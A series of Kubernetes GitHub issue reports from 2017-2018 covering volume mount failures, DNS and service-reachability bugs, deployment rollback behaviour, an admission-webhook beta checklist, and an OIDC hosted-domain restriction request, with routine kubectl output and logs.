accessmodes   storageclass    age\r example-local-claim   bound     example-local-pv   1gi        rwo           local-storage   3s\r    \r \r 4  create a pod with the pvc, pod creation failed due to the pv local path does not exist.\r    \r root@k8s001:~/cases/local-storage-fail  cat local.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: test-pd\r spec:\r   containers:\r   - image: nginx:1.8.1\r     name: test-container\r     volumemounts:\r     - mountpath: /test-pd\r       name: test-volume\r   volumes:\r   - name: test-volume\r     persistentvolumeclaim:\r           claimname: example-local-claim\r root@k8s001:~/cases/local-storage-fail  kubectl create -f ./local.yaml\r pod \ test-pd\  created\r root@k8s001:~/cases/local-storage-fail  kubectl describe pods test-pd\r name:\t\ttest-pd\r namespace:\tdefault\r node:\t\tk8s001/192.168.56.11\r start time:\ttue, 04 jul 2017 17:09:03 +0800\r labels:\t\t<none>\r annotations:\t<none>\r status:\t\tpending\r ip:\r containers:\r   test-container:\r     container id:\r     image:\t\tnginx:1.8.1\r     image id:\r     port:\t\t<none>\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     environment:\t<none>\r     mounts:\r       /test-pd from test-volume  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-8557l  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \tfalse\r   podscheduled \ttrue\r volumes:\r   test-volume:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\texample-local-claim\r     readonly:\tfalse\r   default-token-8557l:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-8557l\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   7s\t\t7s\t\t1\tdefault-scheduler\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned test-pd to k8s001\r   7s\t\t7s\t\t1\tkubelet, k8s001\t\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ default-token-8557l\ \r   7s\t\t3s\t\t4\tkubelet, k8s001\t\t\t\twarning\t\tfailedmount\t\tmountvolume.setup failed for volume \ example-local-pv\  : mount failed: exit status 32\r mounting command: mount\r mounting arguments: /mnt/disks/vol11 /var/lib/kubelet/pods/6c9e7845-6098-11e7-a6a3-08002759511a/volumes/kubernetes.io~local-volume/example-local-pv   bind \r output: mount: special device /mnt/disks/vol11 does not exist\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r root@k8s001:~/cases/local-storage  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.685+950a09d982286a\ , gitcommit:\ 950a09d982286a32a045f956d91680e0defd71dd\ , gittreestate:\ clean\ , builddate:\ 2017-07-02t11:23:13z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.685+950a09d982286a\ , gitcommit:\ 950a09d982286a32a045f956d91680e0defd71dd\ , gittreestate:\ clean\ , builddate:\ 2017-07-02t11:23:13z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r    \r root@k8s001:~/cases/local-storage  cat /etc/ release\r distrib_id=ubuntu\r distrib_release=16.04\r distrib_codename=xenial\r distrib_description=\ ubuntu 16.04 lts\ \r name=\ ubuntu\ \r version=\ 16.04 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r    \r root@k8s001:~/cases/local-storage  uname -a\r linux k8s001 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r manually.\r \r - others:\r

yaml.txt  https://github.com/kubernetes/kubernetes/files/1146549/yaml.txt \r  log.txt  https://github.com/kubernetes/kubernetes/files/1146521/log.txt \r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r bug\r >  \r   what happened  :\r \r a kube service is created, the subsequent pod is not able to discover the service immediately but only after a couple of minutes as shown in the logs.\r \r \r   what you expected to happen  :\r \r the service should be discovered immediately.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create mongodb pod and service as a deployment, reference the mongoservice in the employee deployment as below. \r    \r kubectl create -f $home/azure/kube_objs/mongo-depl.yaml\r kubectl create -f $home/azure/kube_objs/emp-depl.yaml\r kubectl create -f $home/azure/kube_objs/mission-depl.yaml\r kubectl create -f $home/azure/kube_objs/reward-depl.yaml\r    \r \r   anything else we need to know?  :\r kubernetes cluster installation and config is done through ansible. \r the above commands are executed as a  script.\r attached the logs.\r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 269f928217957e7126dc87e6adfa82242bfe5b1e\ , gittreestate:\ clean\ , builddate:\ 2017-07-03t15:31:10z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  : azure vm\r - os  e.g. from /etc/os-release : name=\ centos linux\  version=\ 7  core \ \r - kernel  e.g.  uname -a  : linux hostname 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r  @kubernetes/sig-azure

a list of issues we need to address before declaring initializer and webhook admission controller as beta.\r \r webhook admission controller:\r -  x  move the admission api to k8s.io/api so that people can import the api to write webhook.  https://github.com/kubernetes/kubernetes/pull/48232 \r -  x  genericwebhook admission plugin is sending internal objects to webhooks  https://github.com/kubernetes/kubernetes/issues/49733 \r -  x  allow mutating webhook\r   -  x  add admission controller for mutating, so recommended order of  --admission-control  is  mutatingwebhook, compiledin1, ... , compiledinn, nonmutatingwebhook \r   -  x  apiregistration api: separate for mutatingwebhook and nonmutatingwebhook to distinguish mutating and not.\r   -  x  serialize mutating webhooks into order in the apiregistration.  leave non-mutating in parallel.\r   -  x  update: we supported   ~~beta will not support   match because we don't have any use case  gc and quota assume stay compliled in .  apiregistration: must specify exact gvk s  webhook wants, so apiserver can convert.~~\r   -  x  conversion logic in apiserver, and figure out if anything needed for the \r   -  x  update: we only support json patch.~~ require response has content-type, and content-type must be one of the 3 types of patches supported by kubernetes.  this is to prevent losing new fields.~~\r -  x   wip  plumb the proxy dialer: https://github.com/kubernetes/kubernetes/issues/49987\r \r dynamic configuration:\r -  x  evaluate if the synchronization mechanism  currently it's polling every 1s  is efficient enough. \r -  x  missing doc on default value: https://github.com/kubernetes/kubernetes/issues/49030\r -  x  missing doc on breaking bootstrap loop: https://github.com/kubernetes/kubernetes/issues/49048\r @lavalamp @smarterclayton @whitlockjc \r \r the following is the initializers, so it's deprecated.\r \r \r initializers  deprecated :\r \r -     doc how to deploy a pod initializer as a deployment, and how to do the emergency fix. in this case, the order of deployment and creating initializerconfiguration is tricky.\r -     enable initiailizer in the generic apiserver\r -     add a result field to each  metadata.intializers.pending x  , the current single  metadata.initializers.result  doesn't keep all failure messages if initializers work in parallel.\r     i don't want to support it. see https://github.com/kubernetes/kubernetes/issues/49038 issuecomment-325053156\r     can be de-prioritized if we don't plan to support partial ordering in 1.8.\r -  x   wip  remove  initializerconfiguration.failurepolicy  and let initializer always fail close? fix is https://github.com/kubernetes/kubernetes/pull/51300.\r -     shall apiserver return 504 or 202 if request timed out before initialization has finished\r -     interaction with quota: https://github.com/kubernetes/kubernetes/issues/51842, https://github.com/kubernetes/kubernetes/issues/51820\r -     under consideration: exempt some namespaces from initialization https://github.com/kubernetes/kubernetes/issues/51290\r -      wip  let controllers see uninitialized controllees: https://github.com/kubernetes/kubernetes/issues/48893. fix is https://github.com/kubernetes/kubernetes/pull/51247.\r -     garbage collection of slow-to-initialize objects\r -  x   wip  interaction with kubectl https://github.com/kubernetes/kubernetes/issues/49035. fix is  50497. https://github.com/kubernetes/kubernetes/issues/49032\r -      wip  allow mutating specs for all resources when uninitialized  50344\r   -  x  mutating pod spec is handled specially in  51733\r   -     make validation during initialization generic, remove pod-specific validation changes added in  51733\r -  x   wip  parallel patching of  metadata.initializers.pending : https://github.com/kubernetes/kubernetes/issues/51131. will be fixed by  51082\r -     api support for partial order among initializers  50714\r     i intend to de-prioritize this, because we expect <5 natively supported initializers per resource, which even in a heavily loaded cluster will cost <2s to resolve, and only 100ms to resolve in a lightly loaded cluster.\r -  x  code example for initializers  @kelseyhightower is working on it

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when l operation like this: kubectl scale --replicas=2 deploy/demo -n oliver\r l found the new pod was always pending, so l describe the pod , the message is : no nodes are available that match all of the following predicates:: podfitshostports  1 , podtoleratesnodetaints  1 . the old version v1.6.x  it's ok.\r \r the cluster is one master and one node. \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl scale --replicas=2 deploy/depployname -n namespacename\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :centos7.2\r - kernel  e.g.  uname -a  :3.10.0-514.16.1.el7.x86_64\r - install tools:kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when rollback to revision number that less than 10，the revison of the deployment not update.\r \r   what you expected to happen  :\r \r example, current revision is:\r    shell\r  root@izbp174et98sd5v1q3at01z ~   kubectl rollout history deployment/demo\r deployments \ demo\ \r revision        change-cause\r 5               kubectl apply -f demo.yaml --record\r 6               kubectl apply -f demo.yaml --record\r 7               kubectl apply -f demo.yaml --record\r 8               kubectl apply -f demo.yaml --record\r 9               kubectl apply -f demo.yaml --record\r 10              kubectl apply -f demo.yaml --record\r    \r when exec command    shell kubectl  rollout undo deployment/demo --to-revision=9    , it should become  official documents here  https://kubernetes.io/docs/concepts/workloads/controllers/deployment/ :\r    shell\r 5               kubectl apply -f demo.yaml --record\r 6               kubectl apply -f demo.yaml --record\r 7               kubectl apply -f demo.yaml --record\r 8               kubectl apply -f demo.yaml --record\r 10              kubectl apply -f demo.yaml --record\r 11              kubectl apply -f demo.yaml --record\r    \r but still remain the same as below：\r    shell\r 5               kubectl apply -f demo.yaml --record\r 6               kubectl apply -f demo.yaml --record\r 7               kubectl apply -f demo.yaml --record\r 8               kubectl apply -f demo.yaml --record\r 9               kubectl apply -f demo.yaml --record\r 10              kubectl apply -f demo.yaml --record\r    \r   how to reproduce it  as minimally and precisely as possible   :\r generate 10 updates operations，then rollback to revision 9.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version :\r i test two kubernetes version.\r    shell\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r    shell\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os :centos7\r \r - kernel :\r    shell\r linux izbp174et98sd5v1q3at01z 3.10.0-514.21.2.el7.x86_64  1 smp tue jun 20 12:24:47 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r

is this a bug report or feature request?  :\r   \r   what happened  :\r currently, the scaleio kubernetes volume plugin has a dependency on a local binary  drv_cfg  to be accessible so it can do a device map.  this dependency makes it hard to containerize the kubelet in a production environment.\r \r   what you expected to happen  :\r ability to wrap kubelet binary into a container.\r \r   how to reproduce it  as minimally and precisely as possible   :\r due to this dependency, containerized kubelets must launch with local paths available inside the container.\r

kube version: 1.8.4\r docker version: 17.03.2-ce\r os version: debian stretch\r contiv version: 1.1.7\r \r    \r   kubectl get po --all-namespaces -o wide\r namespace     name                                    ready     status             restarts   age       ip              node\r kube-system   contiv-netmaster-d28b4                  3/3       running            0          2h        192.168.5.62    uy06-04\r kube-system   contiv-netmaster-dmg2v                  3/3       running            0          1h        192.168.5.63    uy06-05\r kube-system   contiv-netmaster-sclf5                  3/3       running            0          1h        192.168.5.107   uy08-10\r kube-system   contiv-netplugin-fkbch                  2/2       running            0          1h        192.168.5.63    uy06-05\r kube-system   contiv-netplugin-nbc6l                  2/2       running            0          2h        192.168.5.62    uy06-04\r kube-system   contiv-netplugin-sd4wr                  2/2       running            0          58m       192.168.5.108   uy08-11\r kube-system   contiv-netplugin-sdrlb                  2/2       running            0          1h        192.168.5.107   uy08-10\r kube-system   heapster-59ff54b574-j645z               1/1       running            0          53m       30.0.0.9        uy08-11\r kube-system   heapster-59ff54b574-nqxnr               1/1       running            0          1h        30.0.0.4        uy06-04\r kube-system   heapster-59ff54b574-sj56x               1/1       running            0          1h        30.0.0.6        uy08-10\r kube-system   heapster-59ff54b574-t7mpg               1/1       running            0          1h        30.0.0.5        uy06-05\r kube-system   kube-apiserver-uy06-04                  1/1       running            0          2h        192.168.5.62    uy06-04\r kube-system   kube-apiserver-uy06-05                  1/1       running            0          1h        192.168.5.63    uy06-05\r kube-system   kube-apiserver-uy08-10                  1/1       running            0          1h        192.168.5.107   uy08-10\r kube-system   kube-controller-manager-uy06-04         1/1       running            0          2h        192.168.5.62    uy06-04\r kube-system   kube-controller-manager-uy06-05         1/1       running            0          1h        192.168.5.63    uy06-05\r kube-system   kube-controller-manager-uy08-10         1/1       running            0          1h        192.168.5.107   uy08-10\r kube-system   kube-dns-545bc4bfd4-6rhlv               3/3       running            0          1h        30.0.0.7        uy06-05\r kube-system   kube-dns-545bc4bfd4-c295l               3/3       running            0          1h        30.0.0.8        uy08-10\r kube-system   kube-dns-545bc4bfd4-vwmvg               3/3       running            0          2h        30.0.0.2        uy06-04\r kube-system   kube-dns-545bc4bfd4-xfs45               2/3       crashloopbackoff   12         13m       30.0.0.10       uy08-11\r kube-system   kube-proxy-gqx7g                        1/1       running            0          1h        192.168.5.63    uy06-05\r kube-system   kube-proxy-nqzj2                        1/1       running            0          58m       192.168.5.108   uy08-11\r kube-system   kube-proxy-wb4c2                        1/1       running            0          1h        192.168.5.107   uy08-10\r kube-system   kube-proxy-xm5pb                        1/1       running            0          2h        192.168.5.62    uy06-04\r kube-system   kube-scheduler-uy06-04                  1/1       running            0          2h        192.168.5.62    uy06-04\r kube-system   kube-scheduler-uy06-05                  1/1       running            0          1h        192.168.5.63    uy06-05\r kube-system   kube-scheduler-uy08-10                  1/1       running            0          1h        192.168.5.107   uy08-10\r kube-system   kubernetes-dashboard-5c54687f9c-2gw4r   1/1       running            0          1h        30.0.0.3        uy06-04\r    \r \r i have a master ha cluster, and the three masters are working normally, but when i add a node to the cluster, there is something wrong with this node:\r \r    \r   kubectl logs -f kube-dns-545bc4bfd4-xfs45 -n kube-system -c sidecar\r error: logging before flag.parse: i1226 07:30:25.700718       1 main.go:48  version v1.14.4-2-g5584e04\r error: logging before flag.parse: i1226 07:30:25.700798       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i1226 07:30:25.700848       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i1226 07:30:25.700913       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r    \r    \r   kubectl logs -f kube-dns-545bc4bfd4-5jcpr -n kube-system -c kubedns\r i1226 06:54:23.507669       1 dns.go:48  version: 1.14.4-2-g5584e04\r i1226 06:54:23.508505       1 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r i1226 06:54:23.508558       1 server.go:113  flag: --alsologtostderr=\ false\ \r i1226 06:54:23.508571       1 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r i1226 06:54:23.508579       1 server.go:113  flag: --config-map=\ \ \r i1226 06:54:23.508585       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i1226 06:54:23.508590       1 server.go:113  flag: --config-period=\ 10s\ \r i1226 06:54:23.508600       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i1226 06:54:23.508604       1 server.go:113  flag: --dns-port=\ 10053\ \r i1226 06:54:23.508614       1 server.go:113  flag: --domain=\ cluster.local.\ \r i1226 06:54:23.508626       1 server.go:113  flag: --federations=\ \ \r i1226 06:54:23.508635       1 server.go:113  flag: --healthz-port=\ 8081\ \r i1226 06:54:23.508640       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i1226 06:54:23.508649       1 server.go:113  flag: --kube-master-url=\ \ \r i1226 06:54:23.508655       1 server.go:113  flag: --kubecfg-file=\ \ \r i1226 06:54:23.508662       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r i1226 06:54:23.508673       1 server.go:113  flag: --log-dir=\ \ \r i1226 06:54:23.508678       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i1226 06:54:23.508683       1 server.go:113  flag: --logtostderr=\ true\ \r i1226 06:54:23.508690       1 server.go:113  flag: --nameservers=\ \ \r i1226 06:54:23.508694       1 server.go:113  flag: --stderrthreshold=\ 2\ \r i1226 06:54:23.508701       1 server.go:113  flag: --v=\ 2\ \r i1226 06:54:23.508705       1 server.go:113  flag: --version=\ false\ \r i1226 06:54:23.508716       1 server.go:113  flag: --vmodule=\ \ \r i1226 06:54:23.508789       1 server.go:176  starting skydns server  0.0.0.0:10053 \r i1226 06:54:23.509174       1 server.go:198  skydns metrics enabled  /metrics:10055 \r i1226 06:54:23.509193       1 dns.go:147  starting endpointscontroller\r i1226 06:54:23.509201       1 dns.go:150  starting servicecontroller\r i1226 06:54:23.509325       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i1226 06:54:23.509357       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i1226 06:54:24.009462       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:24.509488       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:25.009539       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:25.509472       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:26.009460       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:26.509433       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:27.009488       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:27.509494       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:28.009464       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:28.509493       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:29.009463       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:29.509466       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1226 06:54:30.009457       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r    \r    \r   kubectl logs -f kube-dns-545bc4bfd4-xfs45 -n kube-system -c dnsmasq\r i1226 07:34:47.143035       1 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i1226 07:34:47.143169       1 nanny.go:86  starting dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i1226 07:34:47.264550       1 nanny.go:111 \r w1226 07:34:47.264583       1 nanny.go:112  got eof from stdout\r i1226 07:34:47.264589       1 nanny.go:108  dnsmasq 31 : started, version 2.78-security-prerelease cachesize 1000\r i1226 07:34:47.264643       1 nanny.go:108  dnsmasq 31 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i1226 07:34:47.264659       1 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i1226 07:34:47.264672       1 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i1226 07:34:47.264681       1 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i1226 07:34:47.264692       1 nanny.go:108  dnsmasq 31 : reading /etc/resolv.conf\r i1226 07:34:47.264706       1 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i1226 07:34:47.264713       1 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i1226 07:34:47.264730       1 nanny.go:108  dnsmasq 31 : using nameserver 127.0.0.1 10053 for domain cluster.local\r i1226 07:34:47.264738       1 nanny.go:108  dnsmasq 31 : using nameserver 192.168.5.73 53\r i1226 07:34:47.264747       1 nanny.go:108  dnsmasq 31 : read /etc/hosts - 7 addresses\r    \r \r ! image  https://user-images.githubusercontent.com/15189954/34350752-71ea29bc-ea53-11e7-9ca4-aea5d19a23b8.png \r \r i have a check to the dns pod:\r    \r   kubectl exec -it kube-dns-545bc4bfd4-vwmvg -n kube-system -c kubedns -- sh\r /   cat /etc/resolv.conf\r nameserver 192.168.5.73\r search oupeng.com\r    \r and the nameserver is same to the local server, is this right?

as seen on: https://stackoverflow.com/questions/48263580/kubernetes-services-unreachable-as-they-age\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i've been having a really frustrating issue where kubernetes services randomly stop being available on their cluster ips after around a few hours of deployment. they almost seem to be ageing.\r \r my pods are having  hostnetwork: true  and  dnspolicy: clusterfirstwithhostnet . here is where things get interesting - i have two namespaces  staging and production  on the afflicted cluster. on another identical cluster with just one namespace, this issue hasn't seem to have appeared yet!\r \r on trying to look at the  kube-proxy  logs, here is what i see:\r \r    \r     admin@gke ~ $ tail /var/log/kube-proxy.log\r     e0115 12:13:01.669222       5 proxier.go:1372  can't open \ nodeport for staging/foo:foo-sip-1\   :31765/tcp , skipping this nodeport: listen tcp :31765: bind: address already \r     in use\r     e0115 12:13:01.671353       5 proxier.go:1372  can't open \ nodeport for staging/foo:http-api\   :30932/tcp , skipping this nodeport: listen tcp :30932: bind: address already in use\r     e0115 12:13:01.671548       5 proxier.go:1372  can't open \ nodeport for staging/our-lb:our-lb-http\   :32477/tcp , skipping this nodeport: listen tcp :32477: bind: address alrea\r     dy in use\r     e0115 12:13:01.671641       5 proxier.go:1372  can't open \ nodeport for staging/foo:foo-sip-0\   :30130/tcp , skipping this nodeport: listen tcp :30130: bind: address already \r     in use\r     e0115 12:13:01.671710       5 proxier.go:1372  can't open \ nodeport for default/foo:foo-sip-0\   :30132/tcp , skipping this nodeport: listen tcp :30132: bind: address already \r     in use\r     e0115 12:13:02.510177       5 proxier.go:1372  can't open \ nodeport for default/our-lb:our-lb-http\   :31613/tcp , skipping this nodeport: listen tcp :31613: bind: address alrea\r     dy in use\r     e0115 12:13:06.577412       5 server.go:661  starting metrics server failed: listen tcp 127.0.0.1:10249: bind: address already in use\r     e0115 12:13:11.578446       5 server.go:661  starting metrics server failed: listen tcp 127.0.0.1:10249: bind: address already in use\r     e0115 12:13:16.580441       5 server.go:661  starting metrics server failed: listen tcp 127.0.0.1:10249: bind: address already in use\r     e0115 12:13:21.583691       5 server.go:661  starting metrics server failed: listen tcp 127.0.0.1:10249: bind: address already in use\r    \r \r i've now deleted one namespace from the afflicted cluster and the remaining one seems to have fixed itself; but i am curious about why kubernetes didn't warn me at the time of resource creation, and if it  wasn't  competing for resources, then why does it reassign them later on in a way that causes this issue? this can't be a dns cache issue, because  getent hosts  shows me the right cluster ip for the service - that ip just isn't reachable! it really seems to me to be a   bug in the kubernetes networking setup.  \r \r should i be creating an issue, or is there something obvious that i'm doing incorrectly?\r   what you expected to happen  :\r my services should be reachable by their internal cluster ip for all eternity\r \r   how to reproduce it  as minimally and precisely as possible   :\r  as documented in what happened \r \r   anything else we need to know?  :\r -\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.11-gke.1\ , gitcommit:\ 3500f53730c1fea7b57901977df165c3eb317bce\ , gittreestate:\ clean\ , builddate:\ 2017-12-08t18:05:07z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r gcloud n1\r \r - os  e.g. from /etc/os-release :\r default as is for gke\r \r - kernel  e.g.  uname -a  :\r linux gke-asterisk-default-pool-227fb1ab-gq9t 4.4.64+  1 smp wed aug 30 20:27:36 pdt 2017 x86_64 gnu/linux\r \r @kubernetes/sig-network-bugs

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when oidc is enabled and configured, we can authenticate on the kubernetes api via google auth with any gmail address.\r \r   what you expected to happen  :\r \r we should be able to limit access only to hosted domain addresses.\r we could add an --oidc-hosted-domain flag for the api server, with the authorized domain in parameter. the authentication plugin would check the domain against the  hd  field in the id-token payload.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - create google oauth clientsecret and clientid.\r - authenticate via google and get oidc token.\r - update kubeconfig with a new user  the google authenticated user .\r \r any gmail account can authenticate.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian\r - kernel  e.g.  uname -a  : linux 4.4.111-k8s\r - install tools: kops\r - others:\r \r 

